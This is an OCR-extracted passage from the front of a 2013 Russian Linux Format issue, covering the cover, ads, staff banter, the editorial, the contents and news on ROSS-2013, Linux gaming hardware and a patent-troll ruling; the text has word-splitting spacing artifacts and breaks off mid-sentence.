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ПЛЮС!
 Ус ко ре ние 
гра фи ки:

Транс по ни ру ем  мат ри цу
с. 88

Ор га ни за ция дос ту па к фо то

DigiKam
» Де ли тесь свои ми фо то  
с друзь я ми, а не с зе ва ка ми из Се ти

KDE 4.10
» За будь те про па ра диг му сен сор но го эк ра на — 
ра бо чий стол Kool про сто ра бо та ет с. 17

Phoronix  По тес ти ру ем
Ре по зи то рии  Чтоб па ке ты не про тух ли
Erlang  Сбе ре жем сис тем ные ре сур сы
Строй ка ве ка  Со би ра ем ди ст ри бу тив

Как зло деи... Кра дут па ро ли » Взла мы ва ют WordPress 
Экс плуа ти ру ют уяз ви мо сти » Учи ня ют DDoS-ата ки
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Об ра бот ка тек ста

Markdown
» Вы рвем ся из це пей  
ти ра нии LibreOffice

Ум ни ки в ки но

Скрин ка стинг 
» Обу чи те мир Linux’у, 
вы пус кая ви део по со бия 

Гу ру Gnome из SUSE

Вин сент Унц — про фиа ско с кноп кой Выкл с. 40

Ино гда мы ду ма ем, 
что все пра виль но, 

а ока зы ва ет ся — кри вое

Также в номере...
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Samba 4
Ра бо тай те с Windows, за од но  
шли фуя мас тер ст во тан ца с. 44

XBMC
Как получить те ле ви зор на ма ши не 
с Linux, не му ча ясь с MythTV с. 50

Chakra Linux
Ди ст ри бу тив с пла ваю щим ре ли зом для масс с. 18

ВЗЛОМ СЕ
 ТИ

Вре мя иг рать
» Все, что на до  
знать про Steam  

on Linux с. 14

НА ВАШ
ЕМ БЕСПЛАТНОМ DVD

Но вич ки, нач ни те здесь – 

Zorin OS, PCLinux OS и бо лее то го!

Cравнение: Луч шее для про фи

Raspberry Pi
» Стро им ме диа-центр 

со SqueezePlug и Android с. 66



Назначение уст рой ст ва
Ос нов ное сред ст во за щи ты для реа ли за
ции раз лич ных по ли тик ин фор ма ци он ной  
безо пас но сти с по мо щью:

 — фильт ра ции па ке тов на ка наль ном, се те
вом, транс порт ном и при клад ном уров нях;

 — управ ления транс порт ны ми со единения ми 
ме ж ду от дель ны ми уз ла ми ЛВС  
или вир ту аль ной ЛВС (VLAN);

 — кон тро ля кон тен та дан ных на при клад ном 
уровне с уче том на прав ления,  
вре мени и ти па про то ко лов пе ре да чи  
тра фи ка.

До полнитель ное уст рой ст во за щи ты для:

 — обес пе чения безо пас но сти функ циониро
вания ранее уста нов лен ных в ком пь ю
тер ной се ти средств за щи ты и уст ройств 
мар шру ти за ции;

 — монито рин га тра фи ка с воз мож но стью 
ана ли за дан ных ре ги ст ра ции па ке тов  
по раз лич ным кри те ри ям и ин те гра ции 
с IDS;

 — обес пе чения функ циониро вания се те вых 
рас пре де лен ных те ле ма ти че  ских  
при ло жений и GRIDре сур сов.

Но вое по ко ле ние 
средств за щи ты
Меж се те вые эк ра ны ССПТ,  
не имею щие IP-ад ре са
ССПТ-2 — это сер ти фи ци ро ван ное ФСТЭК, ФСБ и ГАЗПРОМСЕРТ 
сред ст во за щи ты ин фор ма ции но во го по ко ле ния, реа ли зую щее 
функ ции меж се те во го эк ра на, но при этом ос таю щее ся «не ви ди-
мым» для лю бых про то ко лов и тес то вых воз дей ст вий, что дос ти-
га ет ся за счет от сут ст вия фи зи че ских и ло ги че ских ад ре сов на его 
фильт рую щих ин тер фей сах. ССПТ-2 не воз мож но об на ру жить 
ни ка ки ми из вест ны ми сред ст ва ми уда лен но го мо ни то рин га 
се ти.

Скрыт ность функ цио ни ро ва ния меж се те во го эк ра на по вы ша ет на-
деж ность сис те мы за щи ты в це лом и су ще ст вен но уп ро ща ет про-
це ду ру ус та нов ки ССПТ-2 в ком пь ю тер ные се ти и функ цио ни рую-
щие на их ос но ве ин фор ма ци он ные и те ле ма ти че ские сис те мы.

+7 (499) 271-49-54 +7 (812) 309-06-86
Linux-эксперт для вашего бизнеса. www.linuxcenter.ru

Москва Санкт-Петербург

На ба зе  

про цес со ров  

с 64раз ряд ной  

мно го ядер ной  

ар хи тек ту рой

Сер ти фи ци ро ва ны  

ФСТЭК и ФСБ  

(3й класс за щи ты)

За щи та  

для вы со ко ско ро ст ных  

кор по ра тив ных  

се тей Ethernet  

100/1000 Mбит/с





С вопросами по поводу спонсорства и участия в конференции

обращайтесь по телефону  +380 (97) 306-70-33
или email: slava@drupal.ua

http://camp13.drupal.ua

2013
7–8 июня

Дорогие друзья,
приглашаем вас на ежегодное мероприятие DrupalCamp Kyiv, которое 
состоится 7–8 июня 2013 года. DrupalCamp Kyiv — это мероприятие, 
которое объединит разработчиков системы CMS Drupal со всего мира.

DrupalCamp проходит в формате двухдневного barcamp-а, каждый день 
которого состоит из четырех параллельных потоков докладов. Доклады 
определяются заранее. Также, свободно некоторое количество мест 
для обсуждений, формирующихся прямо на конференции. Кроме того, 
на мероприятии пройдет код-спринт.
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Эндрю Гре го ри
Я до ба вил бы 
Башни LXF в спи сок 
достав ки Бат ско го 
пи ва.

Гэ ри Уо кер
В От дел воз ме щения 
на ло гов Ее Ве ли че
 ст ва. Сколь ко мож но 
при пи сать ну лей, 
по ка ктонибудь 
спо хва тит ся?

Эфраин 
Эрнандес-Мендоса
На сайт Chivas. По ра 
по ка зать всем, как эти 
со ба ки па лят вис ки.

Маянк Шарма
Что вы хо ти те ска зать 
этим «будь»?

Валентин Синицын
На сайт Linux Counter. 
При ят но, знае те ли, 
быть поль зо ва те лем 
за но ме ром 1.

Ник Вейч 
Хранили ще фай лов 
Кри сти ны Аги ле ры. 
Нет сил до ж дать ся 
вы хо да оче ред но го 
аль бо ма...

Шашанк Шарма 
В ЦЕРН, и ра зо
брал ся бы, что они 
там вы тво ря ют 
с этим БАК. Два го да 
тех об слу жи вания?! 
Со мнева юсь.

Нейл Ботвик 
За шиф ро вал бы тща
тель но на стро ен ную 
Archма ши ну Грэ ма 
Мор ри со на и с требо
вал вы куп за ключ 
к шиф ру. Бугага.

Майк Сондерс
От дел кад ров 
Nintendo. И до ба вил бы 
се бя – на долж ность 
«Из ба ви тель ми ра 
от крас ных ра ку шек».

Сюзан Линтон
Ким Чен Ын, по хо же, 
ну ж да ет ся в уве се
лении. Я бы до ба ви ла 
еже днев ную шут ку 
на его дис плей.

Джонатан Робертс
Нуж но до быть сек рет 
ре цеп ту ры ко ка
ко лы и вы ло жить 
в WikiLeaks, на бла го 
все го че ло ве че  ст ва.

Бен Эве рард
В Facebook, 
и пер вым де лом 
уда лил бы от ту да 
фо то гра фии еды, 
ко тят и мла  ден цев.

 » В 2012 году в Великобритании появилась новая награда – Премия ко
ролевы Елизаветы за достижения в области инженерного искусства 
[Queen Elizabeth Prize for Engineering]; некоторые журналисты тут же 

объявили эту премию «Нобелевкой для изобретателей». В марте этого года 
были объявлены первые лауреаты. Миллион фунтов стерлингов разделят 
между собой пять инженеров, решения которых служат основой современ ного 
Интернета.

Заслуги четырех из них, «отца Интернета» Винтона Серфа [Vinton Cerf], изо
бретателя ТCP и IP Роберта Кана [Robert Kahn], создателя «Паутины» Тима 
БернерсаЛи [Tim BernersLee] и автора первого графиче ского браузера Mo
saic Марка Ан д ре ес се на [Marc Andreessen], общеизвестны. А вот пятый лауре
ат – французский инженер Луи Пузен [Louis Pouzin] – до недавнего времени 
оставался в тени. Только в 2003 году автор терминов «датаграмма» (так в 70е 
годы прошлого века называли пакет в сети) и «шелл» применительно к оболочке 
командной строки, создатель одной из первых сетей коммутации пакетов 
CYCLADES, послужившей прототипом для Серфа и Кана, стал кавалером Ордена 
Почетного легиона.

Своим решением распорядители фонда признали Сеть главным изобрете
нием эпохи, а его создателей – лучшими инженерами XX столетия.

Что мы делаем

Как с нами связаться

Письма для публикации: letters@linuxformat.ru

Подписка и предыдущие номера: subscribe@linuxformat.ru

Техническая поддержка: answers@linuxformat.ru

Проблемы с дисками: disks@linuxformat.ru

Общие вопросы: info@linuxformat.ru

Вопросы распространения: sales@linuxformat.ru

Webсайт: www.linuxformat.ru

> Адрес редакции: Россия, СанктПетербург, Лиговский пр., 50, корп. 15

> Телефон редакции: (812) 3090686. Дополнительная информация на с. 112

Кирилл Степанов 
Главный редактор 
» info@linuxformat.ru

Инженеры 
столетия

» Мы поддерживаем открытое сообщество, 
предоставляя источник информации и площадку 
для обмена мнениями.
» Мы помогаем всем читателям получить от Linux 
максимум пользы, публикуя статьи в разделе «Учебники»: 
здесь каждый найдет чтото по своему вкусу.
» Мы выпускаем весь код, появляющийся на страницах 
раздела «Учебники», по лицензии GNU GPLv3.
» Мы стремимся предоставлять точные, актуальные 
и непредвзятые сведения обо всем, что касается Linux 
и свободного ПО.

Кто мы
Боль ше все го нас пу га ет про сто та, с ко то рой взла мы ва
ют ся сай ты. Мы спро си ли на ших пи са те лей: «Будь вы 
пло хим пар нем из “чер ных шляп”, ку да бы вы влез ли?»
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Steam  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  14
На конецто Steam принес сотни по во дов 
не вы ле зать из до му, из бе гая внешнего ми ра.

Pivos Xios DS  � � � � � � � � � � � � � � � � � � � � � � �  16
Он поболь ше RPi и не так вкусно на зван. 
Что же хо ро шего в этом ящич ке с ARM? 

KDE 4�10  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  17
Раз бе рем ся, ка кие улуч шения принес 
по следний ре лиз KDE.

Chakra  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  18
А ес ли вам ма ло KDE, что бы на сы тить свой 
ап пе тит, по лу чи те еще и Chakra.

ALT Linux 6�0 СПТ  � � � � � � � � � � � � � � � � �  19
Дистрибутив для хранения больших секретов, 
вплоть до государственных.

The Ur-Quan Masters  � � � � � � � � � � � �  20
Иг ро вой ше девр в рам ках гра фи ки 1992 го да. 
И да же снаб жен русским пе ре во дом.

FTL: Faster Than Light  � � � � � � � � � � �  21
Тоже ше девр, но пе ре во дом не снаб жен. Зато 
какая вариабельность!

Prestigio Multiphone  � � � � � � � � � � � � � �  22
Смарт фон с дву мя SD и SIMкар та ми спо со
бен уго дить лю бо му, осо бен но це ной.

MK808  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  23
Оче ред ной миником пь ю тер на ба зе ARM – 
пре  тен дент на друж бу с ва шим те ле ви зо ром. 

Го во ри те с ва ши ми друзь я ми, го во ри те, а мои по го во рят со мной.

Обзоры

Содержание

Уз най те, как зло деи кра дут па ро ли, 
за пус ка ют DDoS-ата ки  

и экс плуа ти ру ют уяз ви мо сти.  
За тем пре се ки те их в кор не с. 32

> Мы впер вые вдо сталь на гля де лись 
на Steam — пор тал игр для Linux во сла ве�

Люди говорят

Вин сент Унц — о ра бо те для openSUSE с� 40

Мы строи ли то,  
во что ве рим;  

и бы ло мно го труд ных 
ре ше ний

Срав не ние: Ди ст ри бу ти вы для про дви ну тых с. 26

> Все обо жа те ли KDE про сто обя за ны  
по про бо вать Chakra�
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LXFDVD 110

А ТАКЖЕ: IPFire 2�13, Q4Wine, 10 книг о Linux и многое другое���

А ТАКЖЕ: Видеоурок по работе с микрокомпьютером MK808

Ответвление Mandriva с рабочим столом KDE

И ЕЩЕ: Porteus 2�0 » SalentOS 12�04�2 » SMS » ZorinOS 6�2

С рабочими столами Gnome и KDE, 32разрядные сборки
Яд ро 3�1�10 » Gnome 3�6 » KDE 4�10 » Xfce 4�10 и Enlightenment 11 » LibreOffice 3�6 и openJDK
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Учебники

Ищите в этом номере

Постоянные рубрики

Raspberry Pi

SqueezePlug  � � � � � � � � � � � � � � � � � � � � � � � � �  66
За то пим весь дом по то ка ми ме диа 
фай лов. 

Фо то менед жер

digiKam  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  70
Ук ре пим се мью со вме ст ным тру дом 
над фо то аль бо ма ми.

Се ти

DNS-сер ве ры  � � � � � � � � � � � � � � � � � � � � � � � �  74
Как на стро ить локаль ный сер вис  
до мен ных имен с dnsmasq.

Скрин ка стинг

Kazam  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  76
За пи сы вая свой эк ран, из го товь те ви део
пособия и вы ло жи те их в Сеть.

Ре дак ти ро вание тек ста

Markdown  � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  80
Команд ная стро ка пре вра ща ет про стой  
текст в фай лы Word.

Язы ки про грам ми ро вания

Erlang  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  84
Функ ции все луч ше, и луч ше, и луч ше –  
но это еще не предел.

Вы чис ления

CUDA  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  88
Обо зрев ис то рию ар хи тек ту ры, транс пони
ру ем мат ри цу.

Дис тро ст рой

Сде ла ем са ми  � � � � � � � � � � � � � � � � � � � � � �  92
При став ля ем к де лу за го тов лен ные 
ин ст ру мен ты.

Но во сти  � � � � � � � � � � � � � � � � � � � � � � � �  6
Со сто ял ся ROSS2013, мно жат ся 
иг ро вые при став ки, Red Hat и Google 
вою ют с трол ля ми, Рунет на глазах 
разрастается, a брау зе ры сме ня ют 
движ ки.

Но во сти Android  � � � � � � � � � �  24
Microsoft, Nokia и Oracle оби жа ют ся 
на Android, а ха ке ры пе ре хва ты ва ют 
кон троль над са мо ле та ми.

Сравнение  � � � � � � � � � � � � � � � � � � �  26
От де ля ем слад кое от вкусно го, оцени
вая ди ст ри бу ти вы для про дви ну тых 
поль зо ва те лей.

Ин тер вью LXF  � � � � � � � � � � � �  40
Вин сент Унц ди вит ся, сколь дли тель
ной бы ва ет эмо цио наль ная ре ак ция.

Руб ри ка си сад ми на  � � � � �  60 
Все хо ро шее име ет свой ст во 
небес конеч но сти – за кан чи ва ет ся 
и на ша се рия про LAMP.

От ве ты  � � � � � � � � � � � � � � � � � � � � � � �  96 
ВАШИ ПРОБЛЕМЫ РЕШЕНЫ!  
Нейл Бот вик – про по те рян ные фай лы, 
до полнитель ные дис ко во ды, SSD, 
ПО для но вич ков и про чее.

Hotpicks  � � � � � � � � � � � � � � � � � � � �  100 
От ве дай те го ря чень ко го: луч шие 
в ми ре но вин ки сво бод но го ПО. 
OCRFeeder, Nethogs, Qmmp, HTTPie, 
DocFetcher, Q4Wine, ZXTune, Pushover, 
BurgerSpace, Rainbarf 

Диск Linux Format  � � � � � �  106
Со дер жи мое дву сто роннего DVD 
это го ме ся ца.

Про пусти ли но мер?  � � �  108
Ожи ви те дни, когда ва ши куд ри бы ли 
длиннее, а пи во стои ло де шев ле.

Че рез ме сяц  � � � � � � � � � � � � � �  112
Мы рас по ло жим 50 луч ших ди ст ри бу
ти вов в по ряд ке убы вания.

Samba 4  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  44
Ста ла то ле рантнее к Windows!

XBMC  � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �  50
Ры дая, раcпростимся с MythTV.

Тес ты Phoronix  � � � � � � � � � � � � � � � � � � � � � � � �  54
Пускай субъ ек тив ная, но оцен ка.

Ре по зи то рии  � � � � � � � � � � � � � � � � � � � � � � � � � � �  56
Дер жим па ке ты в ак ту аль ном ви де.

ПЛЮС: SMS, SalentOS, IPFire с.  106

На ва шем бес плат ном DVD

L
X

FDVD110

PCLinuxOS
 » Ак ку рат ный, не про ти во ре чи вый, кру той!

Zorin
 » Linux для бег ле цов с Windows

Пропустили  
номер?
Узнайте на с. 108, как  
получить его прямо сейчас!
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ГЛАВ НОЕ ROSS-2013 » Иг ро вое же ле зо » Побили тро лл я » Рунет растет » Про щай, WebKit?

 » Рубрику готовил  
АРТЕМ ЗОРИН

НАШЕ СОБЫТИЕ ГОДА

ROSS-2013
Сто ли ца приняла ставший традиционным форум программистов.

12 
ап ре ля 2013 го да в мо с ков ском 
оте ле «Ренес санс» со сто яла сь 
IV конференция Russian Open 

Source Summit 2013, по свя щен ная раз
ви тию СПО в России. Ор ганизо ва ли кон
ференцию ИТеженедельник PCWeek/RE 
и Россий ская ас со циа ция сво бод но го про
грамм но го обес пе чения (РАСПО), при уча
стии Ака де мии ин фор ма ци он ных сис тем 
и под держ ке ве ду щих от рас ле вых ас со
циа ций АП КИТ и РУССОФТ.

Генеральным спонсором выступила 
SUSE, официальные спонсоры – АП КИТ, 
НЦПР и Red Hat, спонсоры – «РОСА», Linux
Wizard, «ГНУ/Линуксцентр», «Адемпие
ре» и «Корус Консалтинг». Стратегические 
партнеры – Dell и Microsoft, дело вой парт
нер – Alfresco. Генеральный информацион
ный партнер – РАРИО, информационные 
партнеры – РУССОФТ, NIXP, Linux Format, 
COMNEWS, OpnSource и UbunTV.

ROSS2013 привлек 370 участников. Со
стоялось 48 докладов – от пред ста ви те
лей го су дар ст вен ных ве домств и ком мер
че  ских ор ганиза ций, нау ки и об ра зо вания, 
раз ра ботчи ков и за каз чи ков СПОре шений 
из раз лич ных от рас лей эко но ми ки. 

На пле нар ном за се дании прозвучали 
при вет ст ви я члена Ко ми те та СФ по нау
ке, об ра зо ванию, куль ту ре и ин фор ма
ци он ной по ли ти ке РФ Р. Гат та рова, чле
на Ко ми те та Госдумы по безо пас но сти 
и про ти во дей ст вию кор руп ции И. Косту
нова и президента Фонда информацион
ной демократии И. Массуха. С докладами 
выступили про ф., д. т. н. А. Кузь мин от ФСБ 
РФ, про ф., д. фм. н. А. Ба ра нов, директор 

по продуктам SUSE Дж. Пфайфер, регио
нальный вицепрезидент Alfresco Д. Дор
валь, генди рек тор VDEL М. Прохаска, ис
полнительный директор АП КИТ Н. Комлев 
и др. Представитель Microsoft, выступая, 
подчеркнул разворот этой компании в на
правлении открытых решений.

Заседание подытожи ло вы сту п ление 
пре зи ден та РАСПО Юлии Ов чиннико вой. 
Она при зва ла го сор га ны (пре ж де все го, 
Мин ком свя зи, на сей раз про иг но ри ро вав
шее ROSS2013) применять СПО в струк ту
рах раз но го уров ня; безо пас ность, но вые 
ра бо чие мес та для своих граждан, тех но
ло ги че  ская неза ви си мость от по тен ци аль
ных про тивников и т. д. – основ ные упомя
нутые ею пре иму ще ст ва СПО. Так же она 
от ме тила от сут ст вие долж ной по пу ля ри
за ции СПО в об ще ст ве, от сут ст вие ин ве
сти ций и доста точ но го ко ли че  ст ва ква ли
фи ци ро ван ных кад ров, а так же ин те ре са 
к СПО со сто ро ны го су дар ст ва. Называ
лись и дру гие препятствия раз ви тию СПО 
в России: юри ди че  ская неоп ре де лен ность 
со сво бод ны ми ли цен зия ми, про бле мы 
уче та и рас про странения СПО в ор га нах 
го су дар ст ва (как ор ганизо вать сер вис

ное об слу жи вание) и др. А вот основ ны
ми дви га те ля ми раз ви тия СПО в на шей 
стране могут считаться «русский дух» 
(как было сказано в шутку, национальная 
склонность к «халяве»), на ли чие высоко
квалифицированных спе ци а ли стов «ста
рой закал ки» и ог ром ный эн ту зи азм пас
сио на ри ев – лю дей, це ли ком от даю щих 
се бя дви жению СПО.

На круглых столах и тематических сек
циях рас смат ривались ме сто и роль ИТ 
в реа ли за ции стра те гии ки бер бе зо пас
но сти го су дар ст ва, бизнеса и об ще ст ва; 
эко си сте ма сво бод но го ПО – раз ра бот
ка и сер ти фи ка ция СПОпро дук тов, плат
фор мы и ре шения, роль сообщества; 
стан дар ти за ция и ин те ро пе ра бель но сть 
СПО и про прие тар ных ре шений; об лач
ные СПОплат фор мы для ИТсер ви сов; 
Национальная программная платформа 
и фонд алгоритмов и программ; госзаказ, 
налоги и льготы; проблемы профильноего 
образования.

Было признано, что проблемы отечест
венной ИТотрасли, по сути, не зависят от 
модели разработки, т. к. центры производ
ства наиболее востребованного ПО (как 
свободного, так и проприетарного) нахо
дятся вне России, и решением здесь м. б. 
внятная государственная стратегия ком
плексного развития отрасли: ликвидация 
общей компьютерной безграмотности, 
подготовка достойных кадров, предостав
ление налоговых и др. льгот компаниям
разработчикам, поддержка отечествен
ного производителя госзаказом.

Под занавес конференции компания 
Dell устроила для участников, заполнив
ших заранее розданные анкеты, розыгрыш 
ноут бука своей модели. 

Материалы конференции, презентации 
и видеозаписи некоторых выступлений 
можно посмот реть на www.pcweek.ru/foss/
conference.

«Основной двигатель 
развития СПО – огром-
ный энтузиазм людей.»
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> По мнению пре зи ден та РАСПО Юлии 
Ов  чин ни ко  вой, шанс у СПО в России есть�
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П
ро ект Ouya, со брав ший на Kick
starter бо лее вось ми с по ло ви
ной мил лио нов дол ла ров для 

раз ра бот ки иг ро вой при став ки на ба зе 
плат фор мы Android 4, анон си ро вал пе
ре ход на за вер шаю щую ста дию тес ти ро
вания фи наль но го про дук та, при год но го 
для ис поль зо вания конеч ны ми по тре би
те ля ми. Бо лее то го, для под твер ждения, 
что про ект дей ст ви тель но яв ля ет ся от
кры тым, раз ра бот чи ки при став ки опуб
ли ко ва ли все схе мы, необ хо ди мые для 
са мо стоя тель но го соз дания при став ки 
на 3Dприн те ре MakerBot.

На пер вом эта пе при став ки от прав ле ны 
уча стникам кам пании на Kickstarter; от
груз ка за ка зов че рез ин тернетма га зин 
и ши ро ко мас штаб ное рас про странение 

про дук та нач нет ся 4 ию ня. До 4 ию ня 
не ис клю че но про дол жение рас ши рения 
функ цио наль но сти и ин тер фей са про
грамм ной на чин ки. Стои мость при став ки 
$ 99. Ха рак те ри сти ки: SoC NVIDIA Tegra 3 
с че ты рех ядер ным про цес со ром ARM 
CortexA9 MPCore и 12ядер ным Nvidia 
GPU, 1 ГБ ОЗУ, 8 ГБ Flash, HDMI (1080p HD), 

WiFi 802.11 b/g/n, Bluetooth, Ethernet, порт 
microUSB.

Иг ры для при став ки рас про стра ня ют ся 
по прин ци пу “freetotry”, под ра зу ме ва
ю ще му обя за тель ное пре достав ление 
поль зо ва те лю воз мож но сти бес плат ной 
пред ва ри тель ной оцен ки ра бо ты иг ры 
с по сле дую щей по куп кой, толь ко ес ли 
иг ра по нра ви лось. В на стоя щее вре мя 
в ка та ло ге Ouya уже доступ ны для ис
поль зо вания 104 иг ры. Соз да те лям иг ры 
пе ре чис ля ет ся 70 % по лу чен ных от про
да жи иг ры до хо дов, 30 % остав ля ет се бе 
про ект Ouya. Не смот ря на то, что при став
ка осно ва на на ба зе плат фор мы Android, 
иг ры, ку п лен ные в Google Play, не под
дер жи ва ют ся в Ouya. Для раз ра бот ки 
игр пред ла га ет ся ин ст ру мен та рий ODK 

(Ouya Development 
K i t), по  с тав  ляе
мый под ли цен зи ей 
Apache 2.0.

Соз да те ли про
ек та рас счи ты ва
ют, что ком плек та

ция уст рой ст ва от кры тым про грамм ным 
обес пе чением и пре достав ление от кры
тых ин ст ру мен тов для раз ра бот ки игр пре
доста вит со об ще ст ву воз мож ность непо
сред ст вен но го уча стия в раз ви тии но вой 
иг ро вой плат фор мы.

А вот Alienware, под раз де ление ком
пании Dell, спе циа ли зи рую щее ся на про

из вод ст ве мощ ных ПК для лю би те лей 
ком пь ю тер ных игр, пред ста ви ло пер вую 
мо дель иг ро во го ком пь ю те ра, по став ляе
мо го с пре дуста нов лен ным Linux. Мо дель 
Alienware X51 доступ на в ком плек та ции cо 
спе ци аль но адап ти ро ван ным ди ст ри бу ти
вом Ubuntu 12.04, в ко то ром пре дуста нов
ле ны све жие про прие тар ные драй ве ры 
NVIDIA и пре достав ле на воз мож ность бы
ст рой уста нов ки Linuxвер сии кли ен та для 
сер ви са достав ки игр Steam. В ка че  ст ве 
досто инств ис поль зо вания Ubuntu в опи
сании мо де ли упо ми на ет ся со че тание сти
ля и про сто ты ис поль зо вания, гиб ко сти 
и от кры то сти, вы со кой про из во ди тель но
сти и безо пас но сти. На чаль ная стои мость 
уст рой ст ва со став ля ет $ 599 для мо де
ли с про цес со ром Intel Core i3 3220 и ви
део кар той NVIDIA GeForce GTX 645; са мая 
осна щен ная ком плек та ция с CPU Intel Core 
i7 3770 и ви део кар той NVIDIA GeForce GTX 
660 по став ля ет ся по цене $ 1049. Млад шая 
мо дель Alienware X51 с Ubuntu при мер но 
на $ 100 де шев ле пол но стью ана ло гич ной 
по ап па рат ной на чин ке мо де ли, по став ляе
мой с Windows.

Как пра ви ло, иг ро вые уст рой ст ва всег
да по став ля лись с Windows, но сей час это 
да ле ко не так – неудач ный старт про даж 
Windows 8 вы звал у мно гих про из во ди те
лей и из да те лей игр шок и стал по во дом 
за ду мать ся над пе ре хо дом на аль тер на
тив ные сис те мы, в том чис ле Linux.

ИГРЫ ВСЕРЬЕЗ

Valve вдох нов ля ет всех 
В те чение ме ся ца вы шло сра зу два иг ро вых уст рой ст ва.
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> Меч ты ли нук сои дов на ча ли сбы вать ся — иг ро вые ПК на Ubuntu уже мож но ку пить, но впе ре ди еще дол гий путь���

С мо мен та за пуска офи ци аль но го 
кли ен та Steam от Valve про шло 
мень ше по лу го да, а мы уже ста ли 
сви де те ля ми на стоя щей ре во лю
ции в ми ре игр для Linux – ка ж дый 
ме сяц вы хо дит несколь ко но вых 
игр, ко то рые рань ше ни за что бы 
не вы шли для Linux, на при мер зна
менитая Half Life. Не от ста ют и про
из во ди те ли же ле за – за про шед ший 
ме сяц вы шло сра зу два иг ро вых уст
рой ст ва, ори ен ти ро ван ных на поль
зо ва те лей Linux: в са мом кон це мар та 
на ча лись по став ки иг ро вой кон со ли 
Ouya, осна щен ной плат фор мой 
An droid (об этом уст рой ст ве мы уже 
упо ми на ли в но во стях), а в пер вой 
по ло вине ап ре ля ком пании Alienware 
и Dell пред ста ви ли иг ро вой ПК 
на ба зе Linux.

Steam-сти му л

«Старт Win dows 8 стал 
поводом задуматься 
над переходом.»
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К
ом пании Red Hat и Rackspace до
би лись ре шения фе де раль но
го су да США об от клонении пре

тен зий по всем пунк там в па тент ном ис ке, 
предъ яв лен ном ком панией Uniloc. Эта 
ком  па ния, в 1990х го дах ак тив но про да
вав шая соб ст вен ные раз ра бот ки, ныне из
вест ный па тент ный трол ль с об шир ной ис
то ри ей ис ков, в том чис ле про тив Adobe, 
Microsoft, Sony и Symantec. Иск был по дан 
про тив Rackspace, ис поль зую щей на сво
их сер ве рах ди ст ри бу тив RHEL, в ко то ром, 
по за яв лению Uniloc, Rackspace на ру ша ет 
па тент США за но ме ром 5,892,697 «по
сред ст вом соз дания, ис поль зо вания, про
да жи и/или им пор та сер ве ров, на ко то рых 
ра бо та ет яд ро Linux (вер сии 2.6 или вы ше), 
ко то рое ис поль зу ет ся для об ра бот ки опе
ра ций с пла ваю щей за пя той, осу ще ст в ляе

мых на сер ве рах Rackspace, вклю чая и те 
сер ве ры, что ис поль зу ют ся в Rackspace 
для пре достав ления сер ви сов хостин га». 
Red Hat в рам ках про грам мы Open Source 
Assurance пре достав ля ет кли ен там за щи
ту от па тент ных ис ков, по это му так же под
клю чи лась к су деб но му раз би ра тель ст ву.

Су ду сообщили, что дан ная па тент ная 
за яв ка на ру ша ет за прет Вер хов но го су да 
на па тен то вание ма те ма ти че  ских фор мул 
и аб ст ракт ных идей. В ито ге, хотя Uniloc 
до би ва лась судо про из вод ст ва с уча сти ем 
при сяж ных, су дья удов ле тво рил хо да
тай ст во Rackspace об от клонении ис ка. 

По сло вам пред ста ви те лей Red Hat 
и Rackspace, это ре шение – важ ная по бе
да, т. к. па тент ные трол ли «от ныне мо гут 
не рас счи ты вать на бы ст рые со гла шения 
при сла бых до во дах в их поль зу».

Ком пании Google, Red Hat, BlackBerry 
и ISP EarthLink при зва ли Фе де раль ную 
тор го вую ко мис сию и Ми нистер ст во юс
ти ции США при нять ме ры про тив трол лей, 
от ме тив, что ИТин ду ст рия ста ла основ
ной ми ше нью. Бо лее то го, непрак ти кую
щие ком паниитрол ли при смат ри ва ют ся 
к па тен там и в дру гих об лас тях. Изу чив ак
тив ность трол лей в сфе ре ИТ, мож но по лу
чить ба зу для пред ска зания их по ве дения.

Ком пания Google анон си ро ва ла инициа
ти ву Open Patent NonAssertion (OPN) 
Pledge, на це лен ную на за щи ту от кры тых 
про ек тов от па тент ных пре тен зий.

С
о стоя лось бо лее 80 сек ций: 
эком мер ция, ви део, гео тар ге
тинг, So cial Media, Mobile, мо

биль ная и ин тернетрек  ла ма, по иск, 
кад ры, SEO, RTB, ин тернетмар ке тинг 
и др. Действовали также «Про грам ма+» 
и вы став ка «Ин тер нет и бизнес 2013». 
Ор ганиза тор – Рос сий ская ас со циа
ция элек трон ных ком муника ций (РАЭК), 
при под держ ке Фе де раль но го агент ст ва 
по пе ча ти и мас со вым ком муника ци ям, 
Мин ком свя зи РФ, КЦ, РВК и «Росте ле ком». 

Гла ва Мин ком свя зи Н. Ни ки фо ро в на
звал основ ные на прав ления го спо ли ти ки 
по раз ви тию Рунета. К 2018 г. запланиро
ван ка че  ст вен ный ин тернетдоступ, безо

пас ный для де тей и сво бод ный для взро
слых, с еже год ным при ростом на 20 млн 
поль зо ва те лей Ин тернета 4G и на 5 млн се
мей – до машнего Ин тернета на ско ро сти 
100 Мбит/с, за счет ин тен сив но на ра щи
вае мых оп то во ло кон ных ка на лов. Поч та 
России преобразуется в эф фек тив ную 
то ва ро про во дя щую сеть – это от кры ва ет 
фан та сти че  ские шансы для бизнеса.

Пре мьер Д. Мед ве дев об ра тил ся к Фо
ру му че рез Facebook, от ме тив, что Ин тер
нет рас ши ря ет уча стие гра ж дан в ре шении 
важных для страны во про сов, и власть 
ста но вит ся от кры тее и про зрач нее.

Ди рек тор РАЭК С. Плу го та рен ко пред
ста вил за кон «Об Ин тернете», иницииро

ванный де пу татом Госду мы Р. Шле гелем, 
и указал, что на фоне стре ми тель но го 
роста инициа тив по ре гу ли ро ванию Ру
нета (49 % –«от ри ца тель ные», 28 % – 
«ней траль ны е» и толь ко 23 % – «поло
жи тель ны е», как утверждают эксперты) 
и бес пре це дент но го внимания го су дар ст ва 
к Ин тернету, кон цеп ция за ко на способна 
стать об раз цом сис тем но го под хо да.

На сай те http://2013.russianinternetforum.
ru доступ ны ито го вые ма те риа лы – все но
во сти (~/news/), РИФГа зе та (~/gazeta/), 
фо то ре пор таж (~/photo/) и спи сок уча ст
ни ков (~/about/participants/); для ав то ри зо
